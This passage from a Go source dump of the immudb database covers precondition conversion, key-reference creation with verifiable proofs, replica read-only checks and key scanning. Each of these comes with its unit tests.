len(set) binary.BigEndian.PutUint64(zKey[zi:], math.Float64bits(score)) zi += scoreLen binary.BigEndian.PutUint64(zKey[zi:], uint64(len(key))) zi += keyLenLen copy(zKey[zi:], key) zi += len(key) binary.BigEndian.PutUint64(zKey[zi:], atTx) return zKey } ================================================ FILE: pkg/database/protoconv.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package database import ( "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/api/schema" ) func PreconditionFromProto(c *schema.Precondition) (store.Precondition, error) { if c == nil { return nil, store.ErrInvalidPreconditionNull } switch c := c.Precondition.(type) { case *schema.Precondition_KeyMustExist: key := c.KeyMustExist.GetKey() if len(key) == 0 { return nil, store.ErrInvalidPreconditionNullKey } return &store.PreconditionKeyMustExist{ Key: EncodeKey(key), }, nil case *schema.Precondition_KeyMustNotExist: key := c.KeyMustNotExist.GetKey() if len(key) == 0 { return nil, store.ErrInvalidPreconditionNullKey } return &store.PreconditionKeyMustNotExist{ Key: EncodeKey(key), }, nil case *schema.Precondition_KeyNotModifiedAfterTX: key := c.KeyNotModifiedAfterTX.GetKey() if len(key) == 0 { return nil, store.ErrInvalidPreconditionNullKey } return &store.PreconditionKeyNotModifiedAfterTx{ Key: EncodeKey(key), TxID: c.KeyNotModifiedAfterTX.GetTxID(), }, nil } return nil, store.ErrInvalidPreconditionNull } ================================================ FILE: pkg/database/protoconv_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package database import ( "testing" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/api/schema" "github.com/stretchr/testify/require" ) func TestPreconditionFromProto(t *testing.T) { t.Run("Nil precondition", func(t *testing.T) { _, err := PreconditionFromProto(nil) require.ErrorIs(t, err, store.ErrInvalidPrecondition) require.ErrorIs(t, err, store.ErrInvalidPreconditionNull) _, err = PreconditionFromProto(&schema.Precondition{}) require.ErrorIs(t, err, store.ErrInvalidPrecondition) require.ErrorIs(t, err, store.ErrInvalidPreconditionNull) }) t.Run("KeyMustExist", func(t *testing.T) { _, err := PreconditionFromProto(schema.PreconditionKeyMustExist(nil)) require.ErrorIs(t, err, store.ErrInvalidPrecondition) require.ErrorIs(t, err, store.ErrInvalidPreconditionNullKey) _, err = PreconditionFromProto(schema.PreconditionKeyMustExist([]byte{})) require.ErrorIs(t, err, store.ErrInvalidPrecondition) require.ErrorIs(t, err, store.ErrInvalidPreconditionNullKey) c, err := PreconditionFromProto(schema.PreconditionKeyMustExist([]byte{1})) require.NoError(t, err) require.IsType(t, &store.PreconditionKeyMustExist{}, c) }) t.Run("KeyMustNotExist", func(t *testing.T) { _, err := PreconditionFromProto(schema.PreconditionKeyMustNotExist(nil)) require.ErrorIs(t, err, store.ErrInvalidPrecondition) require.ErrorIs(t, err, store.ErrInvalidPreconditionNullKey) _, err = PreconditionFromProto(schema.PreconditionKeyMustNotExist([]byte{})) require.ErrorIs(t, err, store.ErrInvalidPrecondition) require.ErrorIs(t, err, store.ErrInvalidPreconditionNullKey) c, err := PreconditionFromProto(schema.PreconditionKeyMustNotExist([]byte{1})) require.NoError(t, err) require.IsType(t, &store.PreconditionKeyMustNotExist{}, c) }) t.Run("KeyNotModifiedAfterTX", func(t *testing.T) { _, err := PreconditionFromProto(schema.PreconditionKeyNotModifiedAfterTX(nil, 0)) require.ErrorIs(t, err, store.ErrInvalidPrecondition) require.ErrorIs(t, err, store.ErrInvalidPreconditionNullKey) _, err = PreconditionFromProto(schema.PreconditionKeyNotModifiedAfterTX([]byte{}, 0)) require.ErrorIs(t, err, store.ErrInvalidPrecondition) require.ErrorIs(t, err, store.ErrInvalidPreconditionNullKey) c, err := PreconditionFromProto(schema.PreconditionKeyNotModifiedAfterTX([]byte{1}, 1)) require.NoError(t, err) require.IsType(t, &store.PreconditionKeyNotModifiedAfterTx{}, c) }) } ================================================ FILE: pkg/database/reference.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package database import ( "context" "errors" "fmt" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/api/schema" ) var ErrReferencedKeyCannotBeAReference = errors.New("referenced key cannot be a reference") var ErrFinalKeyCannotBeConvertedIntoReference = errors.New("final key cannot be converted into a reference") var ErrNoWaitOperationMustBeSelfContained = fmt.Errorf("no wait operation must be self-contained: %w", store.ErrIllegalArguments) // Reference ... func (d *db) SetReference(ctx context.Context, req *schema.ReferenceRequest) (*schema.TxHeader, error) { if req == nil || len(req.Key) == 0 || len(req.ReferencedKey) == 0 { return nil, store.ErrIllegalArguments } if (req.AtTx == 0 && req.BoundRef) || (req.AtTx > 0 && !req.BoundRef) { return nil, store.ErrIllegalArguments } d.mutex.Lock() defer d.mutex.Unlock() if d.isReplica() { return nil, ErrIsReplica } lastTxID, _ := d.st.CommittedAlh() err := d.st.WaitForIndexingUpto(ctx, lastTxID) if err != nil { return nil, err } // check key does not exists or it's already a reference entry, err := d.getAtTx(ctx, EncodeKey(req.Key), req.AtTx, 0, d.st, 0, true) if err != nil && err != store.ErrKeyNotFound { return nil, err } if entry != nil && entry.ReferencedBy == nil { return nil, ErrFinalKeyCannotBeConvertedIntoReference } // check referenced key exists and it's not a reference refEntry, err := d.getAtTx(ctx, EncodeKey(req.ReferencedKey), req.AtTx, 0, d.st, 0, true) if err != nil { return nil, err } if refEntry.ReferencedBy != nil { return nil, ErrReferencedKeyCannotBeAReference } tx, err := d.st.NewWriteOnlyTx(ctx) if err != nil { return nil, err } defer tx.Cancel() e := EncodeReference( req.Key, nil, req.ReferencedKey, req.AtTx, ) err = tx.Set(e.Key, e.Metadata, e.Value) if err != nil { return nil, err } for i := range req.Preconditions { c, err := PreconditionFromProto(req.Preconditions[i]) if err != nil { return nil, err } err = tx.AddPrecondition(c) if err != nil { return nil, fmt.Errorf("%w: %v", store.ErrInvalidPrecondition, err) } } var hdr *store.TxHeader if req.NoWait { hdr, err = tx.AsyncCommit(ctx) } else { hdr, err = tx.Commit(ctx) } if err != nil { return nil, err } return schema.TxHeaderToProto(hdr), err } // SafeReference ... func (d *db) VerifiableSetReference(ctx context.Context, req *schema.VerifiableReferenceRequest) (*schema.VerifiableTx, error) { if req == nil { return nil, store.ErrIllegalArguments } lastTxID, _ := d.st.CommittedAlh() if lastTxID < req.ProveSinceTx { return nil, store.ErrIllegalArguments } // Preallocate tx buffers lastTx, err := d.allocTx() if err != nil { return nil, err } defer d.releaseTx(lastTx) txMetatadata, err := d.SetReference(ctx, req.ReferenceRequest) if err != nil { return nil, err } err = d.st.ReadTx(uint64(txMetatadata.Id), false, lastTx) if err != nil { return nil, err } var prevTxHdr *store.TxHeader if req.ProveSinceTx == 0 { prevTxHdr = lastTx.Header() } else { prevTxHdr, err = d.st.ReadTxHeader(req.ProveSinceTx, false, false) if err != nil { return nil, err } } dualProof, err := d.st.DualProof(prevTxHdr, lastTx.Header()) if err != nil { return nil, err } return &schema.VerifiableTx{ Tx: schema.TxToProto(lastTx), DualProof: schema.DualProofToProto(dualProof), }, nil } ================================================ FILE: pkg/database/reference_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package database import ( "context" "crypto/sha256" "fmt" "strconv" "strings" "testing" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/api/schema" "github.com/stretchr/testify/require" ) func TestStoreReference(t *testing.T) { db := makeDb(t) req := &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`firstKey`), Value: []byte(`firstValue`)}}} txhdr, err := db.Set(context.Background(), req) require.NoError(t, err) item, err := db.Get(context.Background(), &schema.KeyRequest{Key: []byte(`firstKey`), SinceTx: txhdr.Id}) require.NoError(t, err) require.Equal(t, []byte(`firstKey`), item.Key) require.Equal(t, []byte(`firstValue`), item.Value) refOpts := &schema.ReferenceRequest{ Key: []byte(`myTag`), ReferencedKey: []byte(`secondKey`), } txhdr, err = db.SetReference(context.Background(), refOpts) require.ErrorIs(t, err, store.ErrKeyNotFound) refOpts = &schema.ReferenceRequest{ Key: []byte(`firstKeyR`), ReferencedKey: []byte(`firstKey`), AtTx: 0, BoundRef: true, } _, err = db.SetReference(context.Background(), refOpts) require.ErrorIs(t, err, store.ErrIllegalArguments) refOpts = &schema.ReferenceRequest{ Key: []byte(`firstKey`), ReferencedKey: []byte(`firstKey`), } txhdr, err = db.SetReference(context.Background(), refOpts) require.ErrorIs(t, err, ErrFinalKeyCannotBeConvertedIntoReference) refOpts = &schema.ReferenceRequest{ Key: []byte(`myTag`), ReferencedKey: []byte(`firstKey`), } txhdr, err = db.SetReference(context.Background(), refOpts) require.NoError(t, err) require.Equal(t, uint64(2), txhdr.Id) keyReq := &schema.KeyRequest{Key: []byte(`myTag`), SinceTx: txhdr.Id} firstItemRet, err := db.Get(context.Background(), keyReq) require.NoError(t, err) require.Equal(t, []byte(`firstValue`), firstItemRet.Value, "Should have referenced item value") vitem, err := db.VerifiableGet(context.Background(), &schema.VerifiableGetRequest{ KeyRequest: keyReq, ProveSinceTx: 1, }) require.NoError(t, err) require.Equal(t, []byte(`firstKey`), vitem.Entry.Key) require.Equal(t, []byte(`firstValue`), vitem.Entry.Value) inclusionProof := schema.InclusionProofFromProto(vitem.InclusionProof) var eh [sha256.Size]byte copy(eh[:], vitem.VerifiableTx.Tx.Header.EH) entrySpec := EncodeReference([]byte(`myTag`), nil, []byte(`firstKey`), 0) entrySpecDigest, err := store.EntrySpecDigestFor(int(txhdr.Version)) require.NoError(t, err) require.NotNil(t, entrySpecDigest) verifies := store.VerifyInclusion( inclusionProof, entrySpecDigest(entrySpec), eh, ) require.True(t, verifies) } func TestStore_GetReferenceWithIndexResolution(t *testing.T) { db := makeDb(t) set, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`aaa`), Value: []byte(`value1`)}}}) require.NoError(t, err) _, err = db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`aaa`), Value: []byte(`value2`)}}}) require.NoError(t, err) ref, err := db.SetReference(context.Background(), &schema.ReferenceRequest{Key: []byte(`myTag1`), ReferencedKey: []byte(`aaa`), AtTx: set.Id, BoundRef: true}) require.NoError(t, err) tag3, err := db.Get(context.Background(), &schema.KeyRequest{Key: []byte(`myTag1`), SinceTx: ref.Id}) require.NoError(t, err) require.Equal(t, []byte(`aaa`), tag3.Key) require.Equal(t, []byte(`value1`), tag3.Value) } func TestStoreInvalidReferenceToReference(t *testing.T) { db := makeDb(t) req := &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`firstKey`), Value: []byte(`firstValue`)}}} txhdr, err := db.Set(context.Background(), req) require.NoError(t, err) ref1, err := db.SetReference(context.Background(), &schema.ReferenceRequest{Key: []byte(`myTag1`), ReferencedKey: []byte(`firstKey`), AtTx: txhdr.Id, BoundRef: true}) require.NoError(t, err) _, err = db.Get(context.Background(), &schema.KeyRequest{Key: []byte(`myTag1`), SinceTx: ref1.Id}) require.NoError(t, err) _, err = db.SetReference(context.Background(), &schema.ReferenceRequest{Key: []byte(`myTag2`), ReferencedKey: []byte(`myTag1`)}) require.ErrorIs(t, err, ErrReferencedKeyCannotBeAReference) } func TestStoreReferenceAsyncCommit(t *testing.T) { db := makeDb(t) firstIndex, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`firstKey`), Value: []byte(`firstValue`)}}}) require.NoError(t, err) secondIndex, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`secondKey`), Value: []byte(`secondValue`)}}}) require.NoError(t, err) for n := uint64(0); n <= 64; n++ { tag := []byte(strconv.FormatUint(n, 10)) var itemKey []byte var atTx uint64 if n%2 == 0 { itemKey = []byte(`firstKey`) atTx = firstIndex.Id } else { itemKey = []byte(`secondKey`) atTx = secondIndex.Id } refOpts := &schema.ReferenceRequest{ Key: tag, ReferencedKey: itemKey, AtTx: atTx, BoundRef: true, } ref, err := db.SetReference(context.Background(), refOpts) require.NoError(t, err, "n=%d", n) require.Equal(t, n+1+2, ref.Id, "n=%d", n) } for n := uint64(0); n <= 64; n++ { tag := []byte(strconv.FormatUint(n, 10)) var itemKey []byte var itemVal []byte var index uint64 if n%2 == 0 { itemKey = []byte(`firstKey`) itemVal = []byte(`firstValue`) index = firstIndex.Id } else { itemKey = []byte(`secondKey`) itemVal = []byte(`secondValue`) index = secondIndex.Id } item, err := db.Get(context.Background(), &schema.KeyRequest{Key: tag, SinceTx: 67}) require.NoError(t, err, "n=%d", n) require.Equal(t, index, item.Tx, "n=%d", n) require.Equal(t, itemVal, item.Value, "n=%d", n) require.Equal(t, itemKey, item.Key, "n=%d", n) } } func TestStoreMultipleReferenceOnSameKey(t *testing.T) { db := makeDb(t) idx0, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`firstKey`), Value: []byte(`firstValue`)}}}) require.NoError(t, err) idx1, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`secondKey`), Value: []byte(`secondValue`)}}}) require.NoError(t, err) refOpts1 := &schema.ReferenceRequest{ Key: []byte(`myTag1`), ReferencedKey: []byte(`firstKey`), AtTx: idx0.Id, BoundRef: true, } reference1, err := db.SetReference(context.Background(), refOpts1) require.NoError(t, err) require.Exactly(t, uint64(3), reference1.Id) require.NotEmptyf(t, reference1, "Should not be empty") refOpts2 := &schema.ReferenceRequest{ Key: []byte(`myTag2`), ReferencedKey: []byte(`firstKey`), AtTx: idx0.Id, BoundRef: true, } reference2, err := db.SetReference(context.Background(), refOpts2) require.NoError(t, err) require.Exactly(t, uint64(4), reference2.Id) require.NotEmptyf(t, reference2, "Should not be empty") refOpts3 := &schema.ReferenceRequest{ Key: []byte(`myTag3`), ReferencedKey: []byte(`secondKey`), AtTx: idx1.Id, BoundRef: true, } reference3, err := db.SetReference(context.Background(), refOpts3) require.NoError(t, err) require.Exactly(t, uint64(5), reference3.Id) require.NotEmptyf(t, reference3, "Should not be empty") firstTagRet, err := db.Get(context.Background(), &schema.KeyRequest{Key: []byte(`myTag1`), SinceTx: reference3.Id}) require.NoError(t, err) require.NotEmptyf(t, firstTagRet, "Should not be empty") require.Equal(t, []byte(`firstValue`), firstTagRet.Value, "Should have referenced item value") secondTagRet, err := db.Get(context.Background(), &schema.KeyRequest{Key: []byte(`myTag2`), SinceTx: reference3.Id}) require.NoError(t, err) require.NotEmptyf(t, secondTagRet, "Should not be empty") require.Equal(t, []byte(`firstValue`), secondTagRet.Value, "Should have referenced item value") thirdItemRet, err := db.Get(context.Background(), &schema.KeyRequest{Key: []byte(`myTag3`), SinceTx: reference3.Id}) require.NoError(t, err) require.NotEmptyf(t, thirdItemRet, "Should not be empty") require.Equal(t, []byte(`secondValue`), thirdItemRet.Value, "Should have referenced item value") } func TestStoreIndexReference(t *testing.T) { db := makeDb(t) idx1, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`aaa`), Value: []byte(`item1`)}}}) require.NoError(t, err) idx2, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`aaa`), Value: []byte(`item2`)}}}) require.NoError(t, err) _, err = db.SetReference(context.Background(), &schema.ReferenceRequest{ReferencedKey: []byte(`aaa`), Key: []byte(`myTag1`), AtTx: idx1.Id, BoundRef: true}) require.NoError(t, err) ref, err := db.SetReference(context.Background(), &schema.ReferenceRequest{ReferencedKey: []byte(`aaa`), Key: []byte(`myTag2`), AtTx: idx2.Id, BoundRef: true}) require.NoError(t, err) tag1, err := db.Get(context.Background(), &schema.KeyRequest{Key: []byte(`myTag1`), SinceTx: ref.Id}) require.NoError(t, err) require.Equal(t, []byte(`aaa`), tag1.Key) require.Equal(t, []byte(`item1`), tag1.Value) tag2, err := db.Get(context.Background(), &schema.KeyRequest{Key: []byte(`myTag2`), SinceTx: ref.Id}) require.NoError(t, err) require.Equal(t, []byte(`aaa`), tag2.Key) require.Equal(t, []byte(`item2`), tag2.Value) } func TestStoreReferenceKeyNotProvided(t *testing.T) { db := makeDb(t) _, err := db.SetReference(context.Background(), &schema.ReferenceRequest{Key: []byte(`myTag1`), AtTx: 123, BoundRef: true}) require.ErrorIs(t, err, store.ErrIllegalArguments) } func TestStore_GetOnReferenceOnSameKeyReturnsAlwaysLastValue(t *testing.T) { db := makeDb(t) idx1, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`aaa`), Value: []byte(`item1`)}}}) require.NoError(t, err) _, err = db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`aaa`), Value: []byte(`item2`)}}}) require.NoError(t, err) _, err = db.SetReference(context.Background(), &schema.ReferenceRequest{Key: []byte(`myTag1`), ReferencedKey: []byte(`aaa`)}) require.NoError(t, err) ref, err := db.SetReference(context.Background(), &schema.ReferenceRequest{Key: []byte(`myTag2`), ReferencedKey: []byte(`aaa`), AtTx: idx1.Id, BoundRef: true}) require.NoError(t, err) tag2, err := db.Get(context.Background(), &schema.KeyRequest{Key: []byte(`myTag2`), SinceTx: ref.Id}) require.NoError(t, err) require.Equal(t, []byte(`aaa`), tag2.Key) require.Equal(t, []byte(`item1`), tag2.Value) tag1b, err := db.Get(context.Background(), &schema.KeyRequest{Key: []byte(`myTag1`), SinceTx: ref.Id}) require.NoError(t, err) require.Equal(t, []byte(`aaa`), tag1b.Key) require.Equal(t, []byte(`item2`), tag1b.Value) } func TestStore_ReferenceIllegalArgument(t *testing.T) { db := makeDb(t) _, err := db.SetReference(context.Background(), nil) require.ErrorIs(t, err, store.ErrIllegalArguments) } func TestStore_ReferencedItemNotFound(t *testing.T) { db := makeDb(t) _, err := db.SetReference(context.Background(), &schema.ReferenceRequest{ReferencedKey: []byte(`aaa`), Key: []byte(`notExists`)}) require.ErrorIs(t, err, store.ErrKeyNotFound) } func TestStoreVerifiableReference(t *testing.T) { db := makeDb(t) _, err := db.VerifiableSetReference(context.Background(), nil) require.ErrorIs(t, err, store.ErrIllegalArguments) req := &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`firstKey`), Value: []byte(`firstValue`)}}} txhdr, err := db.Set(context.Background(), req) require.NoError(t, err) _, err = db.VerifiableSetReference(context.Background(), &schema.VerifiableReferenceRequest{ ReferenceRequest: nil, ProveSinceTx: txhdr.Id, }) require.ErrorIs(t, err, store.ErrIllegalArguments) refReq := &schema.ReferenceRequest{ Key: []byte(`myTag`), ReferencedKey: []byte(`firstKey`), } _, err = db.VerifiableSetReference(context.Background(), &schema.VerifiableReferenceRequest{ ReferenceRequest: refReq, ProveSinceTx: txhdr.Id + 1, }) require.ErrorIs(t, err, store.ErrIllegalArguments) vtx, err := db.VerifiableSetReference(context.Background(), &schema.VerifiableReferenceRequest{ ReferenceRequest: refReq, ProveSinceTx: txhdr.Id, }) require.NoError(t, err) require.Equal(t, WrapWithPrefix([]byte(`myTag`), SetKeyPrefix), vtx.Tx.Entries[0].Key) dualProof := schema.DualProofFromProto(vtx.DualProof) verifies := store.VerifyDualProof( dualProof, txhdr.Id, vtx.Tx.Header.Id, schema.TxHeaderFromProto(txhdr).Alh(), dualProof.TargetTxHeader.Alh(), ) require.True(t, verifies) keyReq := &schema.KeyRequest{Key: []byte(`myTag`), SinceTx: vtx.Tx.Header.Id} firstItemRet, err := db.Get(context.Background(), keyReq) require.NoError(t, err) require.Equal(t, []byte(`firstValue`), firstItemRet.Value, "Should have referenced item value") } func TestStoreReferenceWithPreconditions(t *testing.T) { db := makeDb(t) _, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{ Key: []byte("key"), Value: []byte("value"), }}}) require.NoError(t, err) _, err = db.SetReference(context.Background(), &schema.ReferenceRequest{ Key: []byte("reference"), ReferencedKey: []byte("key"), Preconditions: []*schema.Precondition{ schema.PreconditionKeyMustExist([]byte("reference")), }, }) require.ErrorIs(t, err, store.ErrPreconditionFailed) _, err = db.Get(context.Background(), &schema.KeyRequest{ Key: []byte("reference"), }) require.ErrorIs(t, err, store.ErrKeyNotFound) _, err = db.SetReference(context.Background(), &schema.ReferenceRequest{ Key: []byte("reference"), ReferencedKey: []byte("key"), Preconditions: []*schema.Precondition{nil}, }) require.ErrorIs(t, err, store.ErrInvalidPrecondition) _, err = db.SetReference(context.Background(), &schema.ReferenceRequest{ Key: []byte("reference"), ReferencedKey: []byte("key"), Preconditions: []*schema.Precondition{ schema.PreconditionKeyMustNotExist([]byte("reference-long-key" + strings.Repeat("*", db.GetOptions().storeOpts.MaxKeyLen))), }, }) require.ErrorIs(t, err, store.ErrInvalidPrecondition) c := []*schema.Precondition{} for i := 0; i <= db.GetOptions().storeOpts.MaxTxEntries; i++ { c = append(c, schema.PreconditionKeyMustNotExist([]byte(fmt.Sprintf("key_%d", i))), ) } _, err = db.SetReference(context.Background(), &schema.ReferenceRequest{ Key: []byte("reference"), ReferencedKey: []byte("key"), Preconditions: c, }) require.ErrorIs(t, err, store.ErrInvalidPrecondition) } ================================================ FILE: pkg/database/replica_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package database import ( "context" "os" "testing" "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/api/schema" "github.com/stretchr/testify/require" ) func TestReadOnlyReplica(t *testing.T) { rootPath := t.TempDir() options := DefaultOptions().WithDBRootPath(rootPath).AsReplica(true) replica, err := NewDB("db", nil, options, logger.NewSimpleLogger("immudb ", os.Stderr)) require.NoError(t, err) err = replica.Close() require.NoError(t, err) replica, err = OpenDB("db", nil, options, logger.NewSimpleLogger("immudb ", os.Stderr)) require.NoError(t, err) _, err = replica.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte("key1"), Value: []byte("value1")}}}) require.ErrorIs(t, err, ErrIsReplica) _, err = replica.ExecAll(context.Background(), &schema.ExecAllRequest{ Operations: []*schema.Op{ { Operation: &schema.Op_Kv{ Kv: &schema.KeyValue{ Key: []byte("key1"), Value: []byte("value1"), }, }, }, }}, ) require.ErrorIs(t, err, ErrIsReplica) _, err = replica.SetReference(context.Background(), &schema.ReferenceRequest{ Key: []byte("key"), ReferencedKey: []byte("refkey"), }) require.ErrorIs(t, err, ErrIsReplica) _, err = replica.ZAdd(context.Background(), &schema.ZAddRequest{ Set: []byte("set"), Score: 1, Key: []byte("key"), }) require.ErrorIs(t, err, ErrIsReplica) _, _, err = replica.SQLExec(context.Background(), nil, &schema.SQLExecRequest{Sql: "CREATE TABLE mytable(id INTEGER, title VARCHAR, PRIMARY KEY id)"}) require.ErrorIs(t, err, ErrIsReplica) _, err = replica.SQLQuery(context.Background(), nil, &schema.SQLQueryRequest{Sql: "SELECT * FROM mytable"}) require.ErrorIs(t, err, sql.ErrTableDoesNotExist) _, err = replica.DescribeTable(context.Background(), nil, "mytable") require.ErrorIs(t, err, sql.ErrTableDoesNotExist) res, err := replica.ListTables(context.Background(), nil) require.NoError(t, err) require.Empty(t, res.Rows) _, err = replica.VerifiableSQLGet(context.Background(), &schema.VerifiableSQLGetRequest{ SqlGetRequest: &schema.SQLGetRequest{ Table: "mytable", PkValues: []*schema.SQLValue{{Value: &schema.SQLValue_N{N: 1}}}, }, }) require.ErrorIs(t, err, sql.ErrTableDoesNotExist) } func TestSwitchToReplica(t *testing.T) { rootPath := t.TempDir() options := DefaultOptions().WithDBRootPath(rootPath).AsReplica(false) replica := makeDbWith(t, "db", options) _, _, err := replica.SQLExec(context.Background(), nil, &schema.SQLExecRequest{Sql: "CREATE TABLE mytable(id INTEGER, title VARCHAR, PRIMARY KEY id)"}) require.NoError(t, err) _, _, err = replica.SQLExec(context.Background(), nil, &schema.SQLExecRequest{Sql: "INSERT INTO mytable(id, title) VALUES (1, 'TITLE1')"}) require.NoError(t, err) replica.AsReplica(true, false, 0) state, err := replica.CurrentState() require.NoError(t, err) err = replica.DiscardPrecommittedTxsSince(state.TxId) require.Error(t, err, store.ErrIllegalArguments) _, err = replica.ListTables(context.Background(), nil) require.NoError(t, err) _, err = replica.DescribeTable(context.Background(), nil, "mytable") require.NoError(t, err) reader, err := replica.SQLQuery(context.Background(), nil, &schema.SQLQueryRequest{Sql: "SELECT * FROM mytable"}) require.NoError(t, err) require.NoError(t, reader.Close()) _, err = replica.VerifiableSQLGet(context.Background(), &schema.VerifiableSQLGetRequest{ SqlGetRequest: &schema.SQLGetRequest{ Table: "mytable", PkValues: []*schema.SQLValue{{Value: &schema.SQLValue_N{N: 1}}}, }, }) require.NoError(t, err) } ================================================ FILE: pkg/database/scan.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package database import ( "context" "errors" "fmt" "io" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/api/schema" ) // Scan ... func (d *db) Scan(ctx context.Context, req *schema.ScanRequest) (*schema.Entries, error) { d.mutex.RLock() defer d.mutex.RUnlock() currTxID, _ := d.st.CommittedAlh() if req == nil || req.SinceTx > currTxID { return nil, store.ErrIllegalArguments } if req.Limit > uint64(d.maxResultSize) { return nil, fmt.Errorf("%w: the specified limit (%d) is larger than the maximum allowed one (%d)", ErrResultSizeLimitExceeded, req.Limit, d.maxResultSize) } limit := int(req.Limit) if req.Limit == 0 { limit = d.maxResultSize } seekKey := req.SeekKey if len(seekKey) > 0 { seekKey = EncodeKey(req.SeekKey) } endKey := req.EndKey if len(endKey) > 0 { endKey = EncodeKey(req.EndKey) } snap, err := d.snapshotSince(ctx, []byte{SetKeyPrefix}, req.SinceTx) if err != nil { return nil, err } defer snap.Close() r, err := snap.NewKeyReader( store.KeyReaderSpec{ SeekKey: seekKey, EndKey: endKey, Prefix: EncodeKey(req.Prefix), DescOrder: req.Desc, Filters: []store.FilterFn{store.IgnoreExpired, store.IgnoreDeleted}, InclusiveSeek: req.InclusiveSeek, InclusiveEnd: req.InclusiveEnd, Offset: req.Offset, }) if err != nil { return nil, err } defer r.Close() entries := &schema.Entries{} for l := 1; l <= limit; l++ { key, valRef, err := r.Read(ctx) if errors.Is(err, store.ErrNoMoreEntries) { break } if err != nil { return nil, err } e, err := d.getAtTx(ctx, key, valRef.Tx(), 0, snap, valRef.HC(), true) if errors.Is(err, store.ErrKeyNotFound) || errors.Is(err, io.EOF) { continue // ignore deleted or truncated ones (referenced key may have been deleted or truncated) } if err != nil { return nil, err } entries.Entries = append(entries.Entries, e) } return entries, nil } ================================================ FILE: pkg/database/scan_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package database import ( "context" "fmt" "testing" "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/api/schema" "github.com/stretchr/testify/require" ) func TestStoreScan(t *testing.T) { db := makeDb(t) db.maxResultSize = 3 _, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`aaa`), Value: []byte(`item1`)}}}) require.NoError(t, err) _, err = db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`bbb`), Value: []byte(`item2`)}}}) require.NoError(t, err) scanOptions := schema.ScanRequest{ Prefix: []byte(`z`), } list, err := db.Scan(context.Background(), &scanOptions) require.NoError(t, err) require.Empty(t, list.Entries) meta, err := db.Set(context.Background(), &schema.SetRequest{KVs: 